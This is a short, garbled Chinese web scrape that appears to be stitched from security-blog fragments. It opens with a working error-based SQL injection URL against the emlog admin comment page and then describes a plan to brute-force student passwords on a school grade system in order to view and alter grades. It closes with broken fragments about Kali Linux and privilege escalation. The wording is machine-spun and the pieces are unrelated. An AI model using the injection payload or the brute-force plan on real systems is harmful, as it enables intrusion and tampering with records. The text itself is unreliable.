/emlog/admin/comment.php?action=delbyip&token=abac6e12c2abe9b29797b64481ef6ed4&ip=127.0.0.1′and (extractvalue(1,concat(0x7e,(select user()),0x7e)))# 注入时得进行编码处理才干成功，当然各位师傅的骚操作比我多。 image.maiyadi.comBulletin board:0x01 一个waf的绕过进程每次期末查成果的时分，我都会有一个主意，要是我能跑到体系后台，把自己的成果修正一下，那该时刻多么舒坦的工作啊。 当然，我现在还并没有这么做。 ^_^ 光看自己的成果不过瘾，有时分还想看下同学的成果。 怎么办呢？忽然，我发现我从来没有改正我的暗码，那会不会有很多人像我这样，没有改暗码呢？假如是这样，那么暗码就应该首要局限于1991年到1994年的一切日期了，空间集就大大减小了。 那我是不是能够暴力得进行破解呢？假如这样就直接不停地给服务器发送http数据包，并剖析服务器相应的成果，不就能够了么？好了，根本的思路我有了，因为只是在应用层上做文章，我计划用C#完成。

| Potentially risky methods: TRACE二、Kali linux 体系的装置1、获取方针体系所运用的PAM版别：Kali Linux的口令进犯和缝隙运用东西目录供给了许多有助于取得特权提高的东西。